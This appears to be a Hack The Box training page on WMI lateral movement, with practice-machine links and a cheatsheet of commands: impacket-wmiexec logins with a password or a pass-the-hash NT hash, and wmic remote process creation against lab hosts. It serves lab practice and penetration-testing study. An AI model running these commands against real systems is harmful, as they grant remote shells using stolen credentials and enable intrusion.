Windows Management Instrumentation
Running processes locally or remotely through WMI, without creating services.
How it shows up on Hack The Box
Impacket's wmiexec gives a semi-interactive shell as the authenticating user, quieter than psexec because it does not upload or register a service.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Active Directory
Shell as administrator with the hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NTActive Directory in depth › Impacket
wmiexec (más sigiloso)
Attacker
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
with pass-the-hash
Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]C2 and post-exploitation › Lateral movement
impacket-wmiexec
Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
Spawn a remote process with wmic
Target
wmic /node:10.10.11.20 /user:box.htb\\usuario /password:'Password123!' process call create "cmd /c calc.exe"No command matches.